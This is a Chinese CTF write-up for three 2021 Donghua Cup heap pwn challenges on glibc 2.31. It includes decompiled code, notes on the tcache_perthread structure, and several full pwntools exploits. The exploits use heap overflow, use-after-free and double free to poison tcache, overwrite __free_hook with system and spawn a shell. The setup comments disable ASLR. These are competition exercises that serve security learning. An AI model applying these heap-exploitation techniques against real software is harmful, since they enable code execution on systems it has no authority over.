[已迁移]pwn-2021东华杯-部分[cpp1,gcc2,bg3]

catalogue

  • cpp1(堆溢出,劫持tcache结构体后system挂free_hook,2.31)
    • 保护
    • 代码审计(c++堆管理器)
      • add
      • change(漏洞点 堆溢出)
      • get(泄漏信息的内鬼函数)
      • delete
    • 知识补充
    • 过程
    • exp
    • 理清思路重新敲一遍exp
  • gcc2(限制堆块大小的uaf,2.31)
    • 保护
    • 代码审计
    • 过程
    • exp1(正常做)
    • exp2(劫持tcache结构体)
    • exp3(绕过key字段的double free)
  • bg3(没清空size,溢出,2.31)
    • 保护
    • 利用
    • exp
  • boom_srcipt()

reference

cpp1(堆溢出,劫持tcache结构体后system挂free_hook,2.31)

保护

all green

代码审计(c++堆管理器)

add

unsigned __int64 add()
{
  __int64 v0; // rax
  __int64 v1; // rax
  __int64 v2; // rax
  __int64 v3; // rax
  int v4; // ebx
  __int64 v5; // rax
  int v7; // [rsp+0h] [rbp-20h] BYREF
  _DWORD v8[7]; // [rsp+4h] [rbp-1Ch] BYREF

  *(_QWORD *)&v8[1] = __readfsqword(0x28u);
  v0 = std::operator<<<std::char_traits<char>>(&std::cout, "I Hope You Could Give Me A 9.9 Vuln");
  std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
  v1 = std::operator<<<std::char_traits<char>>(&std::cout, "I:>>");
  std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
  std::istream::operator>>(&std::cin, &v7);
  if ( v7 > 16 || v7 < 0 || addr_qword_42E0[v7] )
  {
    v2 = std::operator<<<std::char_traits<char>>(&std::cout, "I am not Vulnable!");
    std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
    exit(-1);
  }
  v3 = std::operator<<<std::char_traits<char>>(&std::cout, "S:>>");
  std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
  std::istream::operator>>(&std::cin, v8);
  if ( v8[0] <= 0xFFu )
  {
    size_dword_43E0[v7] = v8[0];                // size
    v4 = v7;
    addr_qword_42E0[v4] = operator new[](v8[0]);// ctx
  }
  v5 = std::operator<<<std::char_traits<char>>(&std::cout, "Thx For Your Commit");
  std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
  return __readfsqword(0x28u) ^ *(_QWORD *)&v8[1];
}

change(漏洞点 堆溢出)

unsigned __int64 change()
{
  __int64 v0; // rax
  __int64 v1; // rax
  __int64 v2; // rax
  __int64 v3; // rax
  int v5; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v6; // [rsp+8h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  v0 = std::operator<<<std::char_traits<char>>(&std::cout, "Plz Change It Carefully");
  std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
  v1 = std::operator<<<std::char_traits<char>>(&std::cout, "I:>>");
  std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
  std::istream::operator>>(&std::cin, &v5);
  if ( v5 > 16 || v5 < 0 || !addr_qword_42E0[v5] )
  {
    v2 = std::operator<<<std::char_traits<char>>(&std::cout, "I am not Vulnable!");
    std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
    exit(-1);
  }
  v3 = std::operator<<<std::char_traits<char>>(&std::cout, "V:>>");
  std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
  std::operator>><char,std::char_traits<char>>(&std::cin, addr_qword_42E0[v5]);// 往addr里cin 堆溢出
  return __readfsqword(0x28u) ^ v6;
}

get(泄漏信息的内鬼函数)

unsigned __int64 get()
{
  __int64 v0; // rax
  __int64 v1; // rax
  __int64 v2; // rax
  __int64 v3; // rax
  int v5; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v6; // [rsp+8h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  v0 = std::operator<<<std::char_traits<char>>(&std::cout, "Let's See What You Commit");
  std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
  v1 = std::operator<<<std::char_traits<char>>(&std::cout, "I:>>");
  std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
  std::istream::operator>>(&std::cin, &v5);
  if ( v5 > 16 || v5 < 0 || !addr_qword_42E0[v5] )
  {
    v2 = std::operator<<<std::char_traits<char>>(&std::cout, "I am not Vulnable!");
    std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
    exit(-1);
  }
  v3 = std::operator<<<std::char_traits<char>>(&std::cout, addr_qword_42E0[v5]);
  std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
  return __readfsqword(0x28u) ^ v6;
}

delete

unsigned __int64 sub_1753()
{
  __int64 v0; // rax
  __int64 v1; // rax
  __int64 v2; // rax
  __int64 v3; // rdx
  int v5; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v6; // [rsp+8h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  v0 = std::operator<<<std::char_traits<char>>(&std::cout, "Let's See What You Commit");
  std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
  v1 = std::operator<<<std::char_traits<char>>(&std::cout, "I:>>");
  std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
  std::istream::operator>>(&std::cin, &v5);
  if ( v5 > 16 || v5 < 0 || !addr_qword_42E0[v5] )
  {
    v2 = std::operator<<<std::char_traits<char>>(&std::cout, "I am not Vulnable!");
    std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
    exit(-1);
  }
  v3 = v5;
  if ( addr_qword_42E0[v3] )
    operator delete((void *)addr_qword_42E0[v3], 1uLL);
  addr_qword_42E0[v5] = 0LL;
  size_dword_43E0[v5] = 0;
  return __readfsqword(0x28u) ^ v6;
}

知识补充

对于tcache结构体(perthread),是建立在堆的最上面(要加0x10)
可以通过篡改count以此来tcache poisoning(之前好像没注意过count的检查,可能是2.31特有的?有待考证)

typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

# define TCACHE_MAX_BINS                64

[图片来自hollk师傅]
[已迁移]pwn-2021东华杯-部分[cpp1,gcc2,bg3]_第1张图片
对于篡改count,可以用p16(),char是两个字节
然后就是tcache中每个方格的存放的size的顺序是[0x20 0x30 0x40 0x50....],如果我们想让chunk丢到unsortedBin里,可以把对应大小的count改成7,代表放满了。

在2.27的小版本后,entry中加了个key检查,就是原先的bk位,不能两次释放任意一个链上的chunk

过程

有个坑,关于libc基址的,容易弄错
[已迁移]pwn-2021东华杯-部分[cpp1,gcc2,bg3]_第2张图片

	for i in range(3):
		add(i, 0x60) # idx 0 1 2
	for i in range(3):
		delete(2-i)  # tcache 0->1->2
	for i in range(1):
		add(i, 0x60) # idx 0
	get(0)

	leak_addr=u64(p.recv(6).ljust(8,b'\x00'))
	print('leak_addr:',hex(leak_addr))
	tcache_addr=leak_addr-0x12f30
	print('tcache_addr',hex(tcache_addr))# 0x555555559000 heap first addr

利用new不清空的特性,泄漏堆的基址(也就是tcache结构体的位置)
[已迁移]pwn-2021东华杯-部分[cpp1,gcc2,bg3]_第3张图片
idx0编辑堆溢出到idx1指向tcache结构体,申请两次申请到

	payload=b'a'*0x68+p64(0x71)+p64(tcache_addr+0x10)
	change(0,payload)
	add(1,0x60)
	add(2,0x60) # tcache struct

篡改count(确保0x90满了,才能放入unsortedBin)

	add(3,0x80)
	add(4,0x70)
	payload=p16(0)*4+p16(0x7)*4 # 0 0 0 0 7 7 7 7 [0x20 0x30 0x40 0x50 0x60 0x70 0x80 0x90]
	change(2,payload)

分割unsortedBin中的chunk4,泄漏libc基址

	delete(3)# into unsortedBin
	add(3,0x30)
	get(3)
	libc_leak=u64(p.recv(6).ljust(8,b'\x00'))
	print("libc_leak: ",hex(libc_leak)) # 0x7ffff7dcac60
	libc_base=libc_leak-(0x7ffff7dcac60-0x7ffff7bdf000)
	print("libc_base:",hex(libc_base))# 0x7ffff7a75000

由于chunk3下面还有一块chunk5,可以进行溢出,挂钩子

	add(5,0x40)
	delete(5)
	payload=b'a'*0x30+p64(0)+p64(0x51)+p64(libc_base+freehook)
	change(3,payload)

[已迁移]pwn-2021东华杯-部分[cpp1,gcc2,bg3]_第4张图片
调整count,取出钩子

	payload=p16(0)*3+p16(0x2) #[0x20 0x30 0x40 0x50][0 0 0 2]
	change(2, payload)
	add(6,0x40)
	add(7,0x40)

getshell

	change(6,'/bin/sh\x00')
	change(7,p64(libc_base+system))
	delete(6)
	p.interactive()

总结

  1. 需要利用bk残留的特性泄漏堆基址
  2. 堆溢出劫持到tcache_perthread
  3. unsortedBin分割,泄漏libc_base(题目给了16个chunk,不劫持tcache_perthread结构体也行)
  4. 再一次堆溢出,tcache poisoning劫持到free_hook
  5. free_hook里写system 然后释放掉写有/bin/sh的chunk

exp

from pwn import*
elf=ELF("./pwn")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
context(arch="amd64",os="Linux",log_level="debug")
p=process("./pwn")

def dbg():
	gdb.attach(p)
	pause()
	
def choice(idx):
	p.sendline(str(idx))
	
#-----------------------------------------
'''
libc=0x7ffff7bdf000
heap=0x555555559000
'''
addr_ofst=0x42E0
size_ofst=0x43E0
freehook=libc.sym["__free_hook"]
system=libc.sym['system']

def add(idx,size):
	choice(1)
	p.recvuntil("I:>>\n")
	p.sendline(str(idx))
	p.recvuntil("S:>>\n")
	p.sendline(str(size))

def change(idx,ctx):
	choice(2)
	p.recvuntil("I:>>\n")
	p.sendline(str(idx))
	p.recvuntil("V:>>\n")
	p.sendline(ctx)

def get(idx):
	choice(3)
	p.recvuntil("I:>>\n")
	p.sendline(str(idx))

def delete(idx):
	choice(4)
	p.recvuntil("I:>>\n")
	p.sendline(str(idx))

def exp():
	for i in range(3):
		add(i, 0x60) # idx 0 1 2
	for i in range(3):
		delete(2-i)  # tcache 0->1->2
	for i in range(1):
		add(i, 0x60) # idx 0
	get(0)

	leak_addr=u64(p.recv(6).ljust(8,b'\x00'))
	print('leak_addr:',hex(leak_addr))
	tcache_addr=leak_addr-0x12f30
	print('tcache_addr',hex(tcache_addr))# 0x555555559000 heap first addr

	payload=b'a'*0x68+p64(0x71)+p64(tcache_addr+0x10)
	change(0,payload)
	add(1,0x60)
	add(2,0x60) # tcache struct
	
	add(3,0x80)
	add(4,0x70)
	payload=p16(0)*4+p16(0x7)*4 # 0 0 0 0 7 7 7 7 [0x20 0x30 0x40 0x50 0x60 0x70 0x80 0x90]
	change(2,payload)

	delete(3)# into unsortedBin
	add(3,0x30)
	get(3)
	libc_leak=u64(p.recv(6).ljust(8,b'\x00'))
	print("libc_leak: ",hex(libc_leak)) # 0x7ffff7dcac60
	libc_base=libc_leak-(0x7ffff7dcac60-0x7ffff7bdf000)
	print("libc_base:",hex(libc_base))# 0x7ffff7a75000

	add(5,0x40)
	delete(5)
	payload=b'a'*0x30+p64(0)+p64(0x51)+p64(libc_base+freehook)
	change(3,payload)

	payload=p16(0)*3+p16(0x2) #[0x20 0x30 0x40 0x50][0 0 0 2]
	change(2, payload)
	add(6,0x40)
	add(7,0x40)

	change(6,'/bin/sh\x00')
	change(7,p64(libc_base+system))
	delete(6)
	p.interactive()
if __name__=='__main__':
	exp()

理清思路重新敲一遍exp

这是不需要劫持tcache perthread的版本(如果对chunk数量限制更严格的话就不能用咯,哎不对,tcache里的0x80好像也能复用)

from pwn import*
elf=ELF("./pwn")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
context(arch="amd64",os="Linux",log_level="debug")
p=process("./pwn")

def dbg():
	gdb.attach(p)
	pause()
	
def choice(idx):
	p.sendline(str(idx))
	
#-----------------------------------------
'''
libc=0x7ffff7bdf000
heap=0x555555559000
'''
addr_ofst=0x42E0
size_ofst=0x43E0
freehook=libc.sym["__free_hook"]
system=libc.sym['system']

def add(idx,size):
	choice(1)
	p.recvuntil("I:>>\n")
	p.sendline(str(idx))
	p.recvuntil("S:>>\n")
	p.sendline(str(size))

def change(idx,ctx):
	choice(2)
	p.recvuntil("I:>>\n")
	p.sendline(str(idx))
	p.recvuntil("V:>>\n")
	p.sendline(ctx)

def get(idx):
	choice(3)
	p.recvuntil("I:>>\n")
	p.sendline(str(idx))

def delete(idx):
	choice(4)
	p.recvuntil("I:>>\n")
	p.sendline(str(idx))

def exp():
	#backup
	[add(i,0x40) for i in range(3)]# why I have to alloc 3 chunk? because aid to adjust count to poisoning
	[delete(2-i) for i in range(3)]# tcache 0->1->2
	#leak libc_base
	for i in range(3,11):
		add(i,0x80) # idx[10] be used to segmentation
	add(11,0x10)# to prevent consolidate
	for i in range(3,11):
		delete(i)
	for i in range(3,10):
		add(i,0x80)
		
	add(12,0x30)
	get(12)
	libc_leak=u64(p.recv(6).ljust(8,b'\x00'))
	print("libc_leak:",hex(libc_leak)) # 0x7ffff7dcac60
	libc_base=libc_leak-(0x7ffff7dcac60-0x7ffff7bdf000)
	print("libc_base:",hex(libc_base))
	
	payload=b'a'*0x48+p64(0x51)+p64(libc_base+freehook)
	add(0,0x40)
	change(0,payload)
	
	add(1,0x40)
	add(2,0x40) # free_hook
	change(2,p64(libc_base+system))
	change(1,'/bin/sh\x00')
	delete(1)
	p.interactive()
	
if __name__=="__main__":
	exp()

这是劫持tcache perthread的版本

from pwn import*
elf=ELF("./pwn")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
context(arch="amd64",os="Linux",log_level="debug")
p=process("./pwn")

def dbg():
	gdb.attach(p)
	pause()
	
def choice(idx):
	p.sendline(str(idx))
	
#-----------------------------------------
'''
libc=0x7ffff7bdf000
heap=0x555555559000
'''
addr_ofst=0x42E0
size_ofst=0x43E0
freehook=libc.sym["__free_hook"]
system=libc.sym['system']

def add(idx,size):
	choice(1)
	p.recvuntil("I:>>\n")
	p.sendline(str(idx))
	p.recvuntil("S:>>\n")
	p.sendline(str(size))

def change(idx,ctx):
	choice(2)
	p.recvuntil("I:>>\n")
	p.sendline(str(idx))
	p.recvuntil("V:>>\n")
	p.sendline(ctx)

def get(idx):
	choice(3)
	p.recvuntil("I:>>\n")
	p.sendline(str(idx))

def delete(idx):
	choice(4)
	p.recvuntil("I:>>\n")
	p.sendline(str(idx))

def exp():
	[add(i,0x40) for i in range(3)]# why I have to alloc 3 chunk? because aid to adjust count to poisoning
	[delete(2-i) for i in range(3)]# tcache 0->1->2
	add(0,0x40)
	get(0)
	leak=u64(p.recv(6).ljust(8,b'\x00'))
	print("leak:",hex(leak)) # 0x55555556bf10
	heap_base=leak-(0x55555556bf10-0x555555559000)
	print("heap_base:",hex(heap_base))

	payload=b'b'*0x48+p64(0x51)+p64(heap_base+0x10) # dont forget +0x10
	change(0,payload)
	add(1,0x40)
	add(2,0x40) # tc 

	add(3,0x80) # creat unsortbin chunk before falsifying count
	add(4,0x10)
	change(4,"/bin/sh\x00")
	payload=p16(0)*7+p16(0x7) # [20 30 40 50 60 70 80 90]
	change(2,payload)	      # [0  0  0  0  0  0  0  7 ]
	
	delete(3)
	add(5,0x30)
	get(5)
	libc_leak=u64(p.recv(6).ljust(8,b'\x00'))
	print("libc_leak:",hex(libc_leak))# 0x7ffff7dcac60
	libc_base=libc_leak-(0x7ffff7dcac60-0x7ffff7bdf000)
	print("libc_base:",hex(libc_base))
	
	delete(1)
	delete(0)# pay attention to order (particularly in tcache envir)
	add(0,0x40)
	change(0,b'b'*0x48+p64(0x51)+p64(libc_base+freehook))
	change(2,p16(0)*3+p16(0x3))# [0  0  0  3  0  0  0  7 ]
	add(1,0x40)
	add(6,0x40)
	change(6,p64(libc_base+system))
	delete(4)

	p.interactive()
	
if __name__=="__main__":
	exp()

另外一个是同学的,手法大差不差,只不过她篡改了size直接放到unsortedBin里去了,似乎更简单

from pwn import*
elf=ELF("./pwn")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
context(arch="amd64",os="Linux",log_level="debug")
p=process("./pwn")

def dbg():
	gdb.attach(p)
	pause()
	
def choice(idx):
	p.sendline(str(idx))
	
#-----------------------------------------
'''
libc=0x7ffff7bdf000
heap=0x555555559000
'''
addr_ofst=0x42E0
size_ofst=0x43E0
freehook=libc.sym["__free_hook"]
system=libc.sym['system']

def add(idx,size):
	choice(1)
	p.recvuntil("I:>>\n")
	p.sendline(str(idx))
	p.recvuntil("S:>>\n")
	p.sendline(str(size))

def change(idx,ctx):
	choice(2)
	p.recvuntil("I:>>\n")
	p.sendline(str(idx))
	p.recvuntil("V:>>\n")
	p.sendline(ctx)

def get(idx):
	choice(3)
	p.recvuntil("I:>>\n")
	p.sendline(str(idx))

def delete(idx):
	choice(4)
	p.recvuntil("I:>>\n")
	p.sendline(str(idx))

def exp():
	add(0,0x10)
	[add(i,0xf0) for i in range(1,5)] #  1-4
	[add(i,0x10) for i in range(5,10)] # 5-9
	change(0,p64(0)*3+p64(0x421)) 
	delete(1)# It cant be put into tcache
	add(1,0xf0)
	get(1)
	libc_leak=u64(p.recv(6).ljust(8,b'\x00'))
	print("libc_leak: ",hex(libc_leak)) #0x7ffff7dcafd0
	libc_base=libc_leak-(0x7ffff7dcafd0-0x7ffff7bdf000)
	print("libc_base: ",hex(libc_base))
	
	delete(9)
	delete(8)
	change(7,p64(0)*2+p64(0)+p64(0x21)+p64(libc_base+libc.sym['__free_hook']))
	change(3,'/bin/sh\x00')
	
	add(8,0x10)
	add(9,0x10)
	change(9,p64(libc_base+libc.sym['system']))
	delete(3)
	
	p.interactive()
if __name__=='__main__':
	exp()

重点都是堆溢出后poisoning

gcc2(限制堆块大小的uaf,2.31)

保护

allgreen

代码审计

基本一模一样,出题人一题双恰,口袋饱饱
没溢出了,大小限制,有uaf。

unsigned __int64 delete()
{
  __int64 v0; // rax
  __int64 v1; // rax
  __int64 v2; // rax
  __int64 v3; // rdx
  int v5; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v6; // [rsp+8h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  v0 = std::operator<<<std::char_traits<char>>(&std::cout, "Let's See What You Commit");
  std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
  v1 = std::operator<<<std::char_traits<char>>(&std::cout, "I:>>");
  std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
  std::istream::operator>>(&std::cin, &v5);
  if ( v5 > 16 || v5 < 0 || !qword_42E0[v5] )
  {
    v2 = std::operator<<<std::char_traits<char>>(&std::cout, "I am not Vulnable!");
    std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
    exit(-1);
  }
  v3 = v5;
  if ( qword_42E0[v3] )
    operator delete((void *)qword_42E0[v3], 1uLL);// uaf
  return __readfsqword(0x28u) ^ v6;
}

过程

独立做出来的,好耶
通过uaf进行poisoning,劫持到tcache第一个chunk进行篡改size

	[add(i,0x30) for i in range(3)] # [0 1 2] # 0x40*3=0xc0
	[delete(2-i) for i in range(3)] # tcache->0->1->2
	[add(i,0x60) for i in range(3,12)] #[3-11] 9*0x70=0x3f0 0x3f0+0xc0=0x4b0-0x70=0x440
	get(1)
	chunk_2=u64(p.recv(6).ljust(8,b'\x00'))
	print("chunk2: ",hex(chunk_2)) # 0x55555556bf40

	fake=chunk_2-0x90 # 0x55555556beb0
	change(1,p64(fake))

[已迁移]pwn-2021东华杯-部分[cpp1,gcc2,bg3]_第5张图片
篡改进去发现new清空了(???new到底请不清空有待考证,网上说加括号就清,ida里也看不出来呀)
不过无妨,放入unsorted Bin的大小大概为0x420左右,要用前面的堆块进行构造,需要正好吻合前面的堆块大小(我试了多了少了都不行)

解释:构造unsorted Bin的条件
1.prev_inuse = 1
2.next_previnuse = 1
3.next_next_previnuse = 1
也就是说 会检查下一个相邻chunk的prev_inuse位和自己的prev
_inuse位

	[add(i,0x30) for i in range(13,15)] # [13 14][fake 14]
	add(15,0x30)
	change(15,p64(0)+p64(0x441))
	delete(13)

泄漏libc_base后基本一样了

	# idx 12 16 no use
	get(13)
	libc_leak=u64(p.recv(6).ljust(8,b'\x00'))
	print("libc_leak: ",hex(libc_leak))# 0x7ffff7dcabe0
	libc_base=libc_leak-(0x7ffff7dcabe0-0x7ffff7bdf000)
	print("libc_base: ",hex(libc_base))
	delete(4)
	delete(3)
	change(3,p64(libc_base+freehook))
	add(12,0x60)
	add(16,0x60)
	change(16,p64(system+libc_base))
	change(5,'/bin/sh\x00')
	delete(5)
	p.interactive()
  • 利用poisoning劫持到堆块上进行篡改

exp1(正常做)

from pwn import*
elf=ELF("./pwn")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
context(arch="amd64",os="Linux",log_level="debug")
p=process("./pwn")

def dbg():
	gdb.attach(p)
	pause()
	
def choice(idx):
	p.sendline(str(idx))
	
#-----------------------------------------
'''
sed -i s/alarm/isnan/g ./pwn
echo 0 > /proc/sys/kernel/randomize_va_space
libc=0x7ffff7bdf000
heap=0x555555559000
'''
addr_ofst=0x42E0
size_ofst=0x43E0
freehook=libc.sym["__free_hook"]
system=libc.sym['system']

def add(idx,size):
	choice(1)
	p.recvuntil("I:>>\n")
	p.sendline(str(idx))
	p.recvuntil("S:>>\n")
	p.sendline(str(size))

def change(idx,ctx):
	choice(2)
	p.recvuntil("I:>>\n")
	p.sendline(str(idx))
	p.recvuntil("V:>>\n")
	p.sendline(ctx)

def get(idx):
	choice(3)
	p.recvuntil("I:>>\n")
	p.sendline(str(idx))

def delete(idx):
	choice(4)
	p.recvuntil("I:>>\n")
	p.sendline(str(idx))
	
	
def exp():
	[add(i,0x30) for i in range(3)] # [0 1 2] # 0x40*3=0xc0
	[delete(2-i) for i in range(3)] # tcache->0->1->2
	[add(i,0x60) for i in range(3,12)] #[3-11] 9*0x70=0x3f0 0x3f0+0xc0=0x4b0-0x70=0x440
	get(1)
	chunk_2=u64(p.recv(6).ljust(8,b'\x00'))
	print("chunk2: ",hex(chunk_2)) # 0x55555556bf40

	fake=chunk_2-0x90 # 0x55555556beb0
	change(1,p64(fake))

	[add(i,0x30) for i in range(13,15)] # [13 14][fake 14]
	add(15,0x30)
	change(15,p64(0)+p64(0x441))
	delete(13)
	
	# idx 12 16 no use
	get(13)
	libc_leak=u64(p.recv(6).ljust(8,b'\x00'))
	print("libc_leak: ",hex(libc_leak))# 0x7ffff7dcabe0
	libc_base=libc_leak-(0x7ffff7dcabe0-0x7ffff7bdf000)
	print("libc_base: ",hex(libc_base))
	delete(4)
	delete(3)
	change(3,p64(libc_base+freehook))
	add(12,0x60)
	add(16,0x60)
	change(16,p64(system+libc_base))
	change(5,'/bin/sh\x00')
	delete(5)
	p.interactive()
	
if __name__=="__main__":
	exp()

exp2(劫持tcache结构体)

上面我的方法几乎用尽了全部的chunk,接下来试试劫持tcache_perthread的方法

from pwn import*
elf=ELF("./pwn")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
context(arch="amd64",os="Linux",log_level="debug")
p=process("./pwn")

def dbg():
	gdb.attach(p)
	pause()
	
def choice(idx):
	p.sendline(str(idx))
	
#-----------------------------------------
'''
sed -i s/alarm/isnan/g ./pwn
echo 0 > /proc/sys/kernel/randomize_va_space
libc=0x7ffff7bdf000
heap=0x555555559000
'''
addr_ofst=0x42E0
size_ofst=0x43E0
freehook=libc.sym["__free_hook"]
system=libc.sym['system']

def add(idx,size):
	choice(1)
	p.recvuntil("I:>>\n")
	p.sendline(str(idx))
	p.recvuntil("S:>>\n")
	p.sendline(str(size))

def change(idx,ctx):
	choice(2)
	p.recvuntil("I:>>\n")
	p.sendline(str(idx))
	p.recvuntil("V:>>\n")
	p.sendline(ctx)

def get(idx):
	choice(3)
	p.recvuntil("I:>>\n")
	p.sendline(str(idx))

def delete(idx):
	choice(4)
	p.recvuntil("I:>>\n")
	p.sendline(str(idx))
	
	
def exp():
	[add(i,0x30) for i in range(3)] # [0 1 2] # 0x50*3=0xf0
	[delete(2-i) for i in range(3)] # tcache->0->1->2
	get(1)
	heap_leak=u64(p.recv(6).ljust(8,b'\x00'))
	print("heap_leak:",hex(heap_leak)) # 0x55555556bf40
	heap_base=heap_leak-(0x55555556bf40-0x555555559000)
	print("heap_base:",hex(heap_base))
	change(1,p64(heap_base+0x10))

	[add(i,0x30) for i in range(3,6)] # 3 4 5 / 5 is tcache
	[add(i,0x40) for i in range(6,9)] # 6 7 8
	[delete(i) for i in range(8,5,-1)] # t->6->7->8
	get(7)
	leak=u64(p.recv(6).ljust(8,b'\x00'))
	print("leak:",hex(leak))# 0x55555556c020
	fake=leak-0xb0
	print("fake:",hex(fake))# 0x55555556bf70
	change(7,p64(fake))
	[add(i,0x40) for i in range(9,12)] # 9 10 11
	change(11,p64(0)+p64(0xa1))
	
	payload=p16(0)*8+p16(0x7)# [20 30 40 50 60 70 80 90 a0] falsify count
	change(5,payload)
	delete(9)
	get(9)
	libc_leak=u64(p.recv(6).ljust(8,b'\x00'))
	print("libc_leak:",hex(libc_leak))# 0x7ffff7dcabe0
	libc_base=libc_leak-96-0x10-libc.sym["__malloc_hook"]
	print("libc_base:",hex(libc_base))

	add(12,0x10)
	delete(12)
	change(12,p64(libc_base+freehook))
	change(5,p16(0x2))
	
	add(13,0x10)
	change(13,'/bin/sh\x00')
	add(14,0x10)

	change(14,p64(system+libc_base))
	delete(13)
	p.interactive()
	
if __name__=="__main__":
	exp()

一次劫持到tcache
一次劫持到篡改size的位置
好像chunk还是用的有点多,,,

exp3(绕过key字段的double free)

申请的0x18应该是为了防止\n越界,0x11也可以
double free的话就不需要创建格外的chunk来加count了,本质和正常做也差不多,注意key字段的清零
这里我首先试了一下one gadget,可惜,都打不通

from pwn import*
elf=ELF("./pwn")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
context(arch="amd64",os="Linux",log_level="debug")
p=process("./pwn")

def dbg():
	gdb.attach(p)
	pause()
	
def choice(idx):
	p.sendline(str(idx))
	
#-----------------------------------------
'''
sed -i s/alarm/isnan/g ./pwn
echo 0 > /proc/sys/kernel/randomize_va_space
libc=0x7ffff7bdf000
heap=0x555555559000
'''
addr_ofst=0x42E0
size_ofst=0x43E0
freehook=libc.sym["__free_hook"]
system=libc.sym['system']

def add(idx,size):
	choice(1)
	p.recvuntil("I:>>\n")
	p.sendline(str(idx))
	p.recvuntil("S:>>\n")
	p.sendline(str(size))

def change(idx,ctx):
	choice(2)
	p.recvuntil("I:>>\n")
	p.sendline(str(idx))
	p.recvuntil("V:>>\n")
	p.sendline(ctx)

def get(idx):
	choice(3)
	p.recvuntil("I:>>\n")
	p.sendline(str(idx))

def delete(idx):
	choice(4)
	p.recvuntil("I:>>\n")
	p.sendline(str(idx))
	
	
def exp():
	[add(i,0x60) for i in range(11)]
	add(11,0x18) # why must be 0x18 ?
	#double free
	delete(11)
	change(11,p64(0)*2)
	delete(11)
	
	get(11)
	leak=u64(p.recv(6).ljust(8,b'\x00'))
	fake=leak-0x70*11-0x10
	print("fake:",hex(fake))
	change(11,p64(fake))
	add(12,0x18)
	add(13,0x18)
	change(13,p64(0)+p64(0x70*11+1))
	delete(0)
	get(0)
	libc_base=u64(p.recv(6).ljust(8,b'\x00'))-96-0x10-libc.sym['__malloc_hook']
	print("libc_base:",hex(libc_base))
	
	delete(2)
	delete(1)
	change(1,p64(libc_base+freehook))
	add(14,0x60)
	add(15,0x60)
	ogg=[0xe6c7e,0xe6c81,0xe6c84]
	change(15,p64(libc_base+system))
	change(14,'/bin/sh\x00')
	delete(14)
	p.interactive()
	
if __name__=="__main__":
	exp()

bg3(没清空size,溢出,2.31)

保护

all green

利用

非常具有欺骗性的没释放size,两次置空的都是同一个

  if ( qword_42E0[v3] )
    operator delete((void *)qword_42E0[v3], 1uLL);
  qword_42E0[v5] = 0LL;
  qword_42E0[v5] = 0LL;
  return __readfsqword(0x28u) ^ v6;
}

自己做出的 耶耶耶

  • 还就那个溢出poisoning

exp

from pwn import*
elf=ELF("./pwn")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
context(arch="amd64",os="Linux",log_level="debug")
p=process("./pwn")

def dbg():
	gdb.attach(p)
	pause()
	
def choice(idx):
	p.sendline(str(idx))
	
#-----------------------------------------
'''
sed -i s/alarm/isnan/g ./pwn
echo 0 > /proc/sys/kernel/randomize_va_space
libc=0x7ffff7bdf000
heap=0x555555559000
'''
freehook=libc.sym["__free_hook"]
system=libc.sym['system']

def add(idx,size):
	choice(1)
	p.recvuntil("Index:\n")
	p.sendline(str(idx))
	p.recvuntil("PayloadLength:\n")
	p.sendline(str(size))

def change(idx,ctx):
	choice(2)
	p.recvuntil("Index:\n")
	p.sendline(str(idx))
	p.recvuntil("BugInfo:\n")
	p.sendline(ctx)

def get(idx):
	choice(3)
	p.recvuntil("Index:\n")
	p.sendline(str(idx))

def delete(idx):
	choice(4)
	p.recvuntil("Index:\n")
	p.sendline(str(idx))

def exp():
	add(0,0x18)
	delete(0)
	add(0,0x18)
	[add(i,0x20) for i in range(1,4)] # 1 2 3
	[add(i,0x80) for i in range(4,12)] # 4 5 6 7 8 9 10 11
	add(12,0x10) # prevent consolidate
	[delete(i) for i in range(4,11)]
	delete(11)
	
	add(13,0x30)
	get(13)
	libc_leak=u64(p.recv(6).ljust(8,b'\x00'))
	print("libc_leak:",hex(libc_leak))
	libc_base=libc_leak-(0x00007ffff7dcac60-0x7ffff7bdf000)
	print("libc_base:",hex(libc_base))
	
	[delete(i) for i in range(3,0,-1)] # tcache 1->2->3 
	change(0,b'a'*0x18+p64(31)+p64(libc_base+freehook))
	add(14,0x20)
	change(14,'/bin/sh\x00')
	add(15,0x20)
	change(15,p64(libc_base+system))
	delete(14)

	p.interactive()
	
if __name__=="__main__":
	exp()

基本和上面打法一模一样

boom_srcipt()

vmpwn 不会

你可能感兴趣的:(#,[已迁移],比赛pwn题,c++,开发语言,后端)